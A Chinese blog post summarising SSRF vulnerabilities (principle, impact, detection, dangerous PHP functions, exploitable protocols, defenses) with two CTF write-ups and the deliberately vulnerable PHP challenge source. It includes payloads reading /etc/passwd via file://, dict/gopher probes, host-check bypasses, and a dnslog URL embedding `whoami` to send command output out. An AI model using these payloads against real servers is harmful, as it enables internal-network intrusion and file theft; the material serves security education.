Ywc's blog

SSRF漏洞总结

Word count: 1.2kReading time: 4 min
2018/11/16

SSRF

SSRF服务端请求伪造

参考文章

原理

终极简析: SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源。

很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远
程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery)。

危害

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  2. 攻击运行在内网或本地的应用程序(比如溢出)
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
  5. 利用 file 协议读取本地文件等

检测

  • 1.排除法:浏览器f12查看源代码看是否是在本地进行了请求
    比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞
  • 2.dnslog等工具进行测试,看是否被访问
    可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
    • dnslog回显
      • 如:
        1
        https://`whoami`.cp2wj5.dnslog.cn
  • 3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址.
  • 4.直接返回的Banner、title、content等信息
  • 5.留意bool型SSRF
  • 6.完全回显 VS 部分回显 VS盲SSRF
    完全回显的SSRF可以直观的看到SSRF产生的效果,比如很快得知内部的一些系统框架版本等信息;
    部分回显可能只有一些响应状态码等侧信息来判断内部网络情况;
    盲SSRF这种由于返回数据包中看不出来效果就只有尝试数据带外等利用方式了。

危险函数(php中)

1
2
3
file_get_contents()
fsockopen()
curl_exec()

利用方式

除了http/https,还有一些可利用的协议如下:

1.Dict 协议

1
dict://fuzz.wuyun.org:8080/helo:dict

2.Gopher 协议

1
gopher://fuzz.wuyun.org:8080/gopher

3.File协议

1
file:///etc/passwd

4.FTP(S)/SMB(S)

匿名访问及爆破

5.Tftp

UDP协议 发送UDP数据包

6.Telnet

SSH/Telnet匿名访问及爆破

防御

1、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法;

2、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态;

3、限制请求的端口为http常用的端口,比如,80,443,8080,8090;

4、黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网;

5、禁用不需要的协议。仅允许http和https请求;

6、使用正则对参数进行效验,防止畸形请求绕过黑名单。

参考文章1

一些题目

LCTF 签到题

github地址:https://github.com/LCTF/LCTF2017

题目不难, 一共就只有几个点

  • 用file协议读取本地文件
  • 绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件
  • 截断url后面拼接的/, GET请求, 用?#都可以

payload其实很简单: file://www.baidu.com/etc/flag?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
if(!$_GET['site']){
echo <<<EOF
<html>
<body>
look source code:
<form action='' method='GET'>
<input type='submit' name='submit' />
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/>
</form>
</body>
</html>
EOF;
die();
}

$url = $_GET['site'];
$url_schema = parse_url($url);
$host = $url_schema['host'];
$request_url = $url."/";

if ($host !== 'www.baidu.com'){
die("wrong site");
}

$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);

if($res){
echo "<h1>Source Code:</h1>";
echo $request_url;
echo "<hr />";
echo htmlentities($res);
}else{
echo "get source failed";
}

?>

XMAN个人排位赛 SIMPLE_SSRF

类似于LCTF的签到题

curl导致的漏洞。通过file协议即可读取本地文件flag.txt

payload:file://www.baidu.com/etc/flag##

CATALOG
  1. 1. SSRF服务端请求伪造
    1. 1.1. 原理
    2. 1.2. 危害
    3. 1.3. 检测
    4. 1.4. 危险函数(php中)
    5. 1.5. 利用方式
    6. 1.6. 防御
  2. 2. 一些题目
    1. 2.1. LCTF 签到题
    2. 2.2. XMAN个人排位赛 SIMPLE_SSRF